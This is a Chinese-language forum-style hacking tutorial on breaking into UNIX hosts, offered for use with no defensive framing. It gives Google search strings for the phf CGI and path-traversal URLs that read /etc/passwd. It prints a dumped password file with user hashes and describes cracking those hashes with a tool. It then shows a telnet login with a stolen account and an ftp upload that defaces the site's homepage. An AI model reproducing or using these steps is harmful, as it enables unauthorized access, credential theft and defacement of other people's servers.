UNIX主机的入侵
<br />给大家带来的是UNIX系统的phf漏洞的攻击方法配合密码强攻来获取系统的最高权限。首先，我们连上Internet,打开红客的网络扫描器：www.google.com （随着google公司对这个搜索引擎的性能的不断提高，到现在可以说扫描一些远程URL漏洞是轻而易举，甚至连信用卡用户的资料都能扫描得到。）， Q9750406我们用Google来搜索下列代码： <br />
/cgi-bin/phf?Qalias=x
less /etc/passwd <br />
/cgi-bin/phf.cgi?/etc/passwd <br />
/cgi-bin/loadpage.cgi?user_id=1&file=/../../../../../../../../etc/passwd <br />
刷的一下，几百个具备这个条件的资料被搜索出来了，真正有这个漏洞的网站并不多，呵呵，我居然找到了几个能用的： <br />
http://www.hehe.com/cgi-bin/php.cgi?/etc/passwd <br />
root:abcdefghijklmn:0:0:root:/root:/bin/bash <br />
bin:*:1:1:bin:/bin: <br />
daemon:*:2:2:daemon:/sbin: <br />
adm:*:3:4:adm:/var/adm: <br />
lp:*:4:7:lp:/var/spool/lpd: <br />
sync:*:5:0:sync:/sbin:/bin/sync <br />
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown <br />
halt:*:7:0:halt:/sbin:/sbin/halt <br />
mail:*:8:12:mail:/var/spool/mail: <br />
news:*:9:13:news:/usr/lib/news: <br />
uucp:*:10:14:uucp:/var/spool/uucppublic: <br />
operator:*:11:0:operator:/root:/bin/bash <br />
games:*:12:100:games:/usr/games: <br />
man:*:13:15:man:/usr/man: <br />
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash <br />
nobody:*:-1:100:nobody:/dev/null: <br />
ftp:*:404:1::/home/ftp:/bin/bash <br />
guest:*:405:100:guest:/dev/null:/dev/null <br />
shan:Ca3LGA8gqDV4A:501:20:Shan Huang:/home/staff/shan:/bin/bash <br />
www:/U5N5/l0B.jWo:502:20:WWW Manager:/home/staff/www:/bin/bash <br />
test:aFoIbr40sdbiSw:503:100:test:/home/test:/bin/bash <br />
fax:aHhi5ZoJwWOGtc:504:100:FAX_SERVICE:/home/staff/fax:/bin/bash <br />
women:IiO94G5YrrFfU:505:100:Perfect Women:/home/w3/women:/bin/bash <br />
kanglin:aMjy/8maF4ZPHA:506:100:Kanglin:/home/w3/kanglin:/bin/bash <br />
coffee:AlwDa18Au9IPg:507:100:Coffee:/home/w3/coffee:/bin/bash <br />
bakery:aFm7GUGCuyfP2w:508:100:Bakery:/home/w3/bakery:/bin/bash <br />
carven:aPaqr3QAdw8zbk:509:100:Carven:/home/w3/carven:/bin/bash <br />
haurey:/2m87VjXC742s:510:100:Haurey:/home/w3/haurey:/bin/bash <br />
prime:nPOlsQhQFJ.aM:511:100:Prime:/home/w3/prime:/bin/bash <br />
tham:H2AOlPozwIIuo:512:100:xxxxxxxxxx:/home/w3/tham:/bin/bash <br />
ccc:aFiKAE2saiJCMo:513:100:ccc:/home/w3/ccc:/bin/bash <br />
sk:UPrcTmnVSkd3w:514:100:sk:/home/sk:/bin/bash <br />
services:9yBqHWfnnNr.k:515:100:xxxx:/home/w3/haurey/services:/bin/bash <br />
什么？不知道这个是什么？有没有搞错！这个就是UNIX系统的密码文档，这里面储存的都是用户账号和密码等资料。如：sk:UPrcTmnVSkd3w: 514:100:sk:/home/sk:/bin/bash 这一段代码就是一个账号为sk的用户的资料，UPrcTmnVSkd3w这个就是sk用户的密码，514是这个用户的用户标识，100是用户的组号，中间的sk表示的是用户的注释，/home/sk这个表示的是用户注册的目录，最后的/bin/bash是用户注册后系统执行的程序名。嘴唇都说干了，喝点 Coffee，呵呵！ <br />
我们在浏览器里打开了这个密码文件，然后我们把这个文件down下来，用小榕兄的乱刀来破解 <br />
。呵呵，设置好乱刀就开始run。没事情干了，呵呵，坐一边去聊天了，不多久，就看到一大排密码被破解出来了，呵呵，很有成就感。 <br />
现在我们用破解出来的账号进入系统： <br />
telnet www.hehe.com <br />
SUN OS 5.7 <br />
login: sk <br />
passwd:xxxxxxx <br />
#who(看看系统管理员在不在，安全起见) <br />
sk（呵呵，只有我一个人在） <br />
（这个用户居然是管理员级别的权限，呵呵，改掉他的主页！） <br />
#ls <br />
dev/ proc/ usr/ bin/ etc/ local/ root/ <br />
var/ boot/ home/ lost found/ sbin/ <br />
#cd home/www(通常web页面都是放在home/目录里的) <br />
#ls <br />
index.html main.html help.html ...... <br />
好，我们现在另开一个窗口，把做好的黑页用ftp传上来： <br />
ftp www.hehe.com <br />
ftp>put d:\index.html <br />
切回到原来的窗口，找到我们上传的index.html文件： <br />
#find . -name “index.html”<br />
index.html（呵呵，就在根目录下） <br />
#cp index.html \home\www\ <br />
呵呵，打开浏览器一看，修改成功！
<br />
頁:
[1]